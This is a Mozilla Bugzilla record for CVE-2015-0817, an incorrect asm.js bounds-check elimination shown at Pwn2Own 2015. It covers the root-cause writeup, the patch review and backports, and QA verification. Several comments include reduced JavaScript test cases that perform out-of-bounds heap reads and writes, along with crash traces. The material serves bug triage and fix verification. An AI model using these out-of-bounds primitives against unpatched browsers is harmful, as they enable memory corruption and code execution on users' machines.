Closed Bug 1145255 (CVE-2015-0817) Opened 10 years ago Closed 10 years ago

Incorrect asm.js bounds checking elimination (Pwn2Own 2015) (ZDI-CAN-2830)

Categories

(Core :: JavaScript Engine, defect)

x86
All
defect
Not set
critical

Tracking

()

VERIFIED FIXED
mozilla39
Tracking Status
firefox36 + verified
firefox37 + verified
firefox38 + verified
firefox39 + verified
firefox-esr31 37+ verified
firefox-esr38 --- fixed
b2g-v1.4 --- fixed
b2g-v2.0 --- fixed
b2g-v2.0M --- fixed
b2g-v2.1 --- fixed
b2g-v2.1S --- fixed
b2g-v2.2 --- fixed
b2g-master --- fixed

People

(Reporter: dveditz, Assigned: sfink)

References

Details

(5 keywords, Whiteboard: [post-critsmash-triage][adv-main37-][adv-esr31.6-][jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit)

Crash Data

Attachments

(2 files, 2 obsolete files)

Attached file (deleted) —
ilxu1a pwned Firefox on windows and got calc.exe to run. the final privilege escalation came from re-enabling enablePrivilege (Hi Bobby -- can we kill that soon?) but the primary bug is in the JIT. The bug also occurs on 32-bit Linux crash is at 0x8020052 xul!js::proxy_GetGeneric+0xd63 xul!JSTracer::setTracingDetails+0x2514 xul!JS::ObjectPtr::ObjectPtr+0x19b62 xul!js::ExucuteInGlobalAndReturnScope+0x48c7
Flags: needinfo?(luke)
Summary: Pwn2Own ams.js exploit (ZDI-CAN-2830) → Pwn2Own asm.js exploit (ZDI-CAN-2830)
NOTE ==== The test files in the archive work on 32-bits only (exploit on windows, crash on Linux). I don't know if the bug is only present in the 32-bit JIT, or if it's present in all JITs but would need a different testcase on 64-bit. I suppose testing in 64-bit ASAN might give some clues to that, but otherwise don't bother testing on 64-bit until someone is able to adapt the testcase for that platform.
OS: Mac OS X → All
Whiteboard: 32-bit
The writeup: Asm.js eliminates bounds checks for heap accesses incorrectly. With heap accesses like HEAP8[index & 0x3ffffff] if the mask is less than heap length, then the bounds check may be eliminated. This case is handled by js/src/asmjs/AsmJSValidate.cpp:4447 : if (mask2 == 0 || CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2)) { *needsBoundsCheck = NO_BOUNDS_CHECK; } It assumes that minHeapLength() returns a power of 2 though, which is not the case for larger heap lengths. Possible lengths are determined by js/src/asmjs/AsmJSValidate.h:84: inline uint32_t RoundUpToNextValidAsmJSHeapLength(uint32_t length) { if (length <= 4 * 1024) return 4 * 1024; if (length <= 16 * 1024 * 1024) return mozilla::RoundUpPow2(length); MOZ_ASSERT(length <= 0xff000000); return (length + 0x00ffffff) & ~0x00ffffff; } Smallest non-power of 2 is 0x3000000 . So let's say heap length is 0x3000000 and mask is 0x3ffffff. Then CountLeadingZeroes32(f.m().minHeapLength() - 1) <= CountLeadingZeroes32(mask2) check succeeds and bounds check is eliminated. The mask is too large though and allows OOB read/write.
Attached patch Handle non power of two edge case for asm.js validation (obsolete) (deleted) — — Splinter Review
I know nothing about this code and there are probably invariants that I don't know about that could be relied upon, but at first glance something like this patch seems like it would patch up the hole.
Assignee: nobody → sphink
Status: NEW → ASSIGNED
Attached file (deleted) —
This is a Shell test case for the asmjs part. I managed to get a SEGV out of it after a minute.
Assignee: sphink → nobody
Attachment #8580206 - Attachment mime type: application/x-javascript → text/plain
Attachment #8580201 - Flags: feedback?(luke)
(In reply to Nicolas B. Pierron [:nbp] from comment #4) > Created attachment 8580206 > test.js > > This is a Shell test case for the asmjs part. > I managed to get a SEGV out of it after a minute. Running the JS shell under rr seems to make the exploit way faster (a matter of 2 seconds) Magic offset 0x000c66c8 Groomed [+] Got OOB block [+] Found Uint32Array at 0x00140002 [+] Identified Uint32Array _build/bugzil.la/1145255/test2.js:5:2 ReferenceError: AssertEq is not defined
$ ./js-32-dm-nsprBuild-darwin-2e2222a40262 --fuzzing-safe --no-threads --ion-eager 1145255.js Magic offset 0x00089c6c Groomed [+] Got OOB block [+] Found Uint32Array at 0x00000004 [+] Identified Uint32Array 1145255.js:5:2 ReferenceError: AssertEq is not defined 32-bit debug and opt builds show this instantaneously for me, but not a crash, but rather, an error.
OK, reduced variants show both the ReferenceError and a crash.
Attached file ilxu1a's writeup (deleted) —
Attaching the reporter's write up from the .tar file because it's informative even for people who don't want to bother with downloading and un-tarring all the test files.
Comment on attachment 8580201 [details] [diff] [review] Handle non power of two edge case for asm.js validation Review of attachment 8580201 [details] [diff] [review]: ----------------------------------------------------------------- Yes, that's right and thank you for the analysis. (Nit: no curlies around single-line then/else branch.)
Attachment #8580201 - Flags: feedback?(luke) → feedback+
Sploit = {} = function() {} Sploit.Groom = function() { this.heap = ArrayBuffer(this.heap_size) } Sploit.AsmJsModule = function(stdlib, n, heap) { "use asm" var u32 = new stdlib.Uint32Array(heap) var value = 0. function d() { return u32[0x800000] | 0 } function ReadOobU32(index) { index = index | 0; index = ((index << 2) + 0x3000000) | 0; value = +(u32[(index & 0x3ffffff) >> 2] | 0) } return { ReadOobU32: ReadOobU32 } } var self = this Sploit.Trigger = function() { this.oob = this.AsmJsModule(self, null, this.heap) for (var j = 0; j < 4; j++) { index = j; if (this.oob.ReadOobU32(index + this.h)().t) {} } } Sploit.FindUint32ArrayLoop = function() { { this.Groom(); this.Trigger() }(3()) } Sploit.heap_size = 0x3000000; Sploit.FindUint32ArrayLoop() Reduced testcase that intermittently crashes js opt shell on m-c rev 2e2222a40262 with --fuzzing-safe --no-threads --ion-eager at: Process 98199 stopped * thread #1: tid = 0x4b198, 0x014fe054, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9000000) frame #0: 0x014fe054 -> 0x14fe054: movl 0x6000000(%eax), %eax 0x14fe05a: xorpd %xmm0, %xmm0 0x14fe05e: cvtsi2sdl %eax, %xmm0 0x14fe062: movsd %xmm0, 0x14ff570 (lldb) bt * thread #1: tid = 0x4b198, 0x014fe054, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x9000000) * frame #0: 0x014fe054 frame #1: 0x03008e10 (lldb) LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --disable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests python -u ~/fuzzing/js/compileShell.py -b "--disable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262 Bisecting now.
Analyzing the source of the bug: This was added as part of an experimental optimization added in bug 1143794 that was, at the time correct b/c the heap size was a power of 2. Later, the power-of-2 restriction was relaxed in bug 911254 despite the implicit dependency from the first patch. Arg. I should have reviewed harder.
Flags: needinfo?(luke)
function AsmJsModule(stdlib, foreign, heap) { "use asm"; var u32 = new stdlib.Uint32Array(heap); function Unused() { return u32[0x800000]|0; } function WriteOobU32(index, val) { index = index|0; val = val|0; index = ((index << 2) + 0x3000000)|0; u32[(index & 0x3ffffff) >> 2] = val|0; } return {WriteOobU32: WriteOobU32}; } function Run() { do { var heap = new ArrayBuffer(0x3000000); var oob = AsmJsModule(this, null, heap); for (var i = 0; i < 0x400000; i++) { oob.WriteOobU32(i, 0x41414141); } } while (true); } Run(); Minimal test case, fails instantly with a SEGV.
AsmJsModule = function(stdlib, n, heap) { "use asm" var u32 = new stdlib.Uint32Array(heap) var value = 0. function d() { return u32[0x800000] | 0 } function ReadOobU32(index) { index = index | 0; index = index + 0x3000000 | 0; value = +(u32[(index & 0x3ffffff) >> 2] | 0) } return { ReadOobU32: ReadOobU32 } } for (var a = 0; a < 99; a++) { oob = AsmJsModule(this, null, ArrayBuffer(0x3000000)) oob.ReadOobU32() } alternative reduced testcase that crashes js opt shell on m-c rev 2e2222a40262 with --fuzzing-safe --no-threads --ion-eager. LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --disable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests python -u ~/fuzzing/js/compileShell.py -b "--disable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262 Bisection is still happening.
Whiteboard: 32-bit → [jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit
Version: unspecified → Trunk
Attached patch Handle non power of two edge case for asm.js validation (obsolete) (deleted) — — Splinter Review
Version for review. Feel free to bikeshed |if(A) X else if (B) X| => |if (A || B) X|.
Attachment #8580238 - Flags: review?(luke)
Attachment #8580201 - Attachment is obsolete: true
Assignee: nobody → sphink
Comment on attachment 8580238 [details] [diff] [review] Handle non power of two edge case for asm.js validation Thanks again. I think the single-statement || form would look a bit nicer, as you mentioned.
Attachment #8580238 - Flags: review?(luke) → review+
Bisection using testcase in comment 13: autoBisect shows this is probably related to the following changeset: The first bad revision is: changeset: https://hg.mozilla.org/mozilla-central/rev/41f10856b94d user: Benjamin Bouvier date: Fri Jul 18 12:14:47 2014 +0200 summary: Bug 986673: Make Odinmonkey not depend on signal handlers; r=luke Is bug 986673 a likely regressor too?
Blocks: 986673
Beyond the OOB access, this exploit uses the turn_off_all_security pref, which we have bug 984012 on file about, and the fact that we store constant pointers in JS objects in the clasp, which I just filed bug 1145337 about trying to avoid.
LD=ld CROSS_COMPILE=1 CC="clang -Qunused-arguments -msse2 -mfpmath=sse -arch i386" RANLIB=ranlib CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse -arch i386" AS=$CC AR=ar STRIP="strip -x -S" HOST_CC="clang -Qunused-arguments -msse2 -mfpmath=sse" AUTOCONF=/usr/local/Cellar/autoconf213/2.13/bin/autoconf213 HOST_CXX="clang++ -Qunused-arguments -msse2 -mfpmath=sse" sh /Users/skywalker/trees/mozilla-central/js/src/configure --target=i386-apple-darwin9.2.0 --enable-macos-target=10.5 --enable-debug --enable-nspr-build --enable-more-deterministic --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests python -u ~/fuzzing/js/compileShell.py -b "--enable-debug --enable-more-deterministic --enable-nspr-build --32" -r 2e2222a40262 Stack for debug builds using testcase with --fuzzing-safe --no-threads --ion-eager in comment 13: Process 41557 stopped * thread #1: tid = 0x8fffe, 0x01ae6056, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7800000) frame #0: 0x01ae6056 -> 0x1ae6056: movl 0x4800000(%eax), %eax 0x1ae605c: xorpd %xmm0, %xmm0 0x1ae6060: cvtsi2sdl %eax, %xmm0 0x1ae6064: movsd %xmm0, 0x1ae7680 (lldb) bt * thread #1: tid = 0x8fffe, 0x01ae6056, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x7800000) * frame #0: 0x01ae6056 frame #1: 0x0020c0ca js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) [inlined] js::CallJSNative(cx=0x02051200, native=0x0009d3b0)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) + 189 at jscntxtinlines.h:235 frame #2: 0x0020c00d js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(cx=0x02051200, args=CallArgs at 0xbfffeb54, construct=<unavailable>) + 509 at Interpreter.cpp:502 frame #3: 0x001f280c js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::Invoke(cx=0x01d01900, thisv=<unavailable>, fval=<unavailable>, argc=<unavailable>, argv=<unavailable>, rval=JS::MutableHandleValue at 0xbfffec24) + 540 at Interpreter.cpp:558 frame #4: 0x0046ad27 js-dbg-32-dm-nsprBuild-darwin-2e2222a40262`js::jit::DoCallFallback(cx=0x01d01900, frame=<unavailable>, stub_=<unavailable>, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue at 0xbfffee44) + 1751 at BaselineIC.cpp:9569 frame #5: 0x01abaacc (lldb)
Severity: normal → critical
Crash Signature: [@ js::Invoke]
Ok, one last upload, given the upcoming backports. And I'm going to make luke tag it r+ mostly because I don't want it to be marked as a self-review, considering what it is. (And I wish bzexport would stop assigning me to this bug. Who implemented that obnoxious feature, anyway?)
Attachment #8580268 - Flags: review?(luke)
Attachment #8580238 - Attachment is obsolete: true
Assignee: sphink → nobody
(In reply to Gary Kwong [:gkw] [:nth10sd] from comment #16) > The first bad revision is: > changeset: https://hg.mozilla.org/mozilla-central/rev/41f10856b94d > user: Benjamin Bouvier > date: Fri Jul 18 12:14:47 2014 +0200 > summary: Bug 986673: Make Odinmonkey not depend on signal handlers; > r=luke > > Is bug 986673 a likely regressor too? I am not sure, but I think this is just a side-effect of the minification of the test case which focus on SEGV, and cause the bisect to stop on the modification of the SEGV handler. Can you try bisecting with JS_DISABLE_SLOW_SCRIPT_SIGNALS=1 JS_NO_SIGNALS=1 The exploit does not attempts at making segv, it iterates over allocated pages until it can identify one which corresponds to the header of an ArrayBuffer.
(In reply to Nicolas B. Pierron [:nbp] from comment #20) > Can you try bisecting with > > JS_DISABLE_SLOW_SCRIPT_SIGNALS=1 JS_NO_SIGNALS=1 Nope, m-c rev 68f0964d3ebe does not crash with these environment variables set.
Attachment #8580268 - Flags: review?(luke) → review+
Comment on attachment 8580268 [details] [diff] [review] Handle non power of two edge case for asm.js validation sec-approval+ Does this patch need tweaking for other branches? We want it on release (36) beta (37) aurora (38) in addition to trunk. Do we know how far back this bug goes? I assume it probably affects ESR?
Attachment #8580268 - Flags: sec-approval+
Comment on attachment 8580268 [details] [diff] [review] Handle non power of two edge case for asm.js validation [Approval Request Comment] If this is not a sec:{high,crit} bug, please state case for ESR consideration: User impact if declined: pwn2own vuln Fix Landed on Version: 39 Risk to taking this patch (and alternatives if risky): could slow down asm.js code slightly, I guess? It's safe. String or UUID changes made by this patch: none Approval Request Comment [Feature/regressing bug #]: 1143794 [User impact if declined]: pwn2own vuln [Describe test coverage new/current, TreeHerder]: I ran a script or two and it didn't crash
Attachment #8580268 - Flags: approval-mozilla-release?
Attachment #8580268 - Flags: approval-mozilla-esr31?
Attachment #8580268 - Flags: approval-mozilla-beta?
Attachment #8580268 - Flags: approval-mozilla-aurora?
Bug 986673 is probably unrelated.
No longer blocks: 986673
Oops, I made a copy/paste mistake in comment 11; the original bug that landed the problematic code was bug 865516 (not a bug that was filed yesterday).
Comment on attachment 8580268 [details] [diff] [review] Handle non power of two edge case for asm.js validation (In reply to Steve Fink [:sfink, :s:] from comment #23) > [Feature/regressing bug #]: 1143794 This is the wrong bug # but afaik we know that this bug impacts ESR. Approved across the board.
Attachment #8580268 - Flags: approval-mozilla-release?
Attachment #8580268 - Flags: approval-mozilla-release+
Attachment #8580268 - Flags: approval-mozilla-esr31?
Attachment #8580268 - Flags: approval-mozilla-esr31+
Attachment #8580268 - Flags: approval-mozilla-beta?
Attachment #8580268 - Flags: approval-mozilla-beta+
Attachment #8580268 - Flags: approval-mozilla-aurora?
Attachment #8580268 - Flags: approval-mozilla-aurora+
Huh, I would have guessed that bug 911254 is the one that made it matter, but that's still FF27, so it doesn't matter.
(In reply to Steve Fink [:sfink, :s:] from comment #29) You're correct, bug 911254 broke bug 865516. Sorry for the ambiguity, I just noticed I had a totally wrong bug # in comment 11.
Assignee: nobody → sphink
Blocks: 911254
No longer blocks: 865516
Alias: CVE-2015-0817
Status: ASSIGNED → RESOLVED
Closed: 10 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla39
Was able to crash Firefox 37 beta 6 using the testcase from comment 0: bp-75747ae3-4ff2-4d40-a94e-13c3a2150320 - Expected! Verified that the testcase does not crash Firefox 37 beta 7, Firefox 36.0.3 RC, latest Nightly 39.0a1 and latest Aurora 38.0a2 on Windows 7 64-bit, Mac OS X 10.9.5 and Ubuntu 14.04 32-bit.
We unzip the attachment and copy all the files to the SD card. Opening POC.html with 37 Beta 6 fx stops responding or crashes.. Opening POC.html with 37 Beta 7 and 36.0.3 will display a blank page but not crash nor stop responding issues. So this is fixed on mobile too.
Reproduced the original exploit and received the calc.exe using the following build: - http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/latest/win32/en-US/ ** ran the server.py ** visited https://localhost:8000/ff in fx and reproduced the exploit by receiving the calc.exe I can't reproduce the original exploit by spawning a calc.exe using 31.5.0, but the build does end up crashing instantly when connecting to the poc server that was attached. Went through verification using the following build: - http://ftp.mozilla.org/pub/mozilla.org/firefox/candidates/31.5.1esr-candidates/build1/ Using the original POC, I pointed 31.5.1esr to http://localhost:8000/ff and didn't receive a crash instantly. I left it running for about 5 minutes without receiving any crashes. Also, opening poc.html doesn't crash instantly with 31.5.1esr. OS's: Win 8.1 x64 -> PASSED Ubuntu 14.04.1 -> PASSED
Summary: Pwn2Own asm.js exploit (ZDI-CAN-2830) → Incorrect asm.js bounds checking elimination (Pwn2Own 2015) (ZDI-CAN-2830)
Whiteboard: [jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit → [adv-main37-][adv-esr31.6-][jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit
Tried to reproduce and verify the crash by loading poc.html and http://localhost:8000/ff. Please see my results for each platform: Win 8 32-bit: With Firefox 37 beta 6 I'm not receiving a calc.exe window; poc.html file crashes Firefox while http://localhost:8000/ff gives an error. With 38.0ESR poc.html file doesn't crash and http://localhost:8000/ff shows the same error: [+] Running asmjs [+] Magic offset 0x0009c700 Error InternalError: uncaught exception: out of memory at :0:0 Error InternalError: uncaught exception: out of memory at :0:0 The same error is shown with 31.7ESR. Mac OS X 10.9.5 - builds opened in 32-bit mode: Ubuntu 12.04 32-bit: Firefox 37 beta 6 crashes with both poc.html and http://localhost:8000/ff. Using 38.0ESR the poc.html doesn't crash anymore, but http://localhost:8000/ff is interrupted after loading just a few seconds with the message "Error InternalError: uncaught exception: out of memory at :0:0" - it also happens with Firefox 37.0, but isn't the case with 31.7ESR when the interruption happens rarely. Can someone please check if http://localhost:8000/ff should be running in newer Firefox versions?
Based on the above comment visiting https://localhost:8000/ff does not reproduce the exploit by receiving the calc.exe on old builds. We need to reproduce the initial issue in order to verify it. The crash though can be reproduced on old builds but not in 38.0 ESR, is this enough to call this bug verified fixed on this build?
Flags: needinfo?(sphink)
Group: core-security → core-security-release
Whiteboard: [adv-main37-][adv-esr31.6-][jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit → [post-critsmash-triage][adv-main37-][adv-esr31.6-][jsbugmon:update,testComment=13,origRev=2e2222a40262] 32-bit
Attachment #8580174 - Attachment is private: true
Attachment #8580206 - Attachment is private: true
Group: core-security-release
(In reply to Bogdan Maris, QA [:bogdan_maris] from comment #42) > Based on the above comment visiting https://localhost:8000/ff does not > reproduce the exploit by receiving the calc.exe on old builds. We need to > reproduce the initial issue in order to verify it. > The crash though can be reproduced on old builds but not in 38.0 ESR, is > this enough to call this bug verified fixed on this build? Yes, I believe the crash should be a good enough test.
Flags: needinfo?(sphink)
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: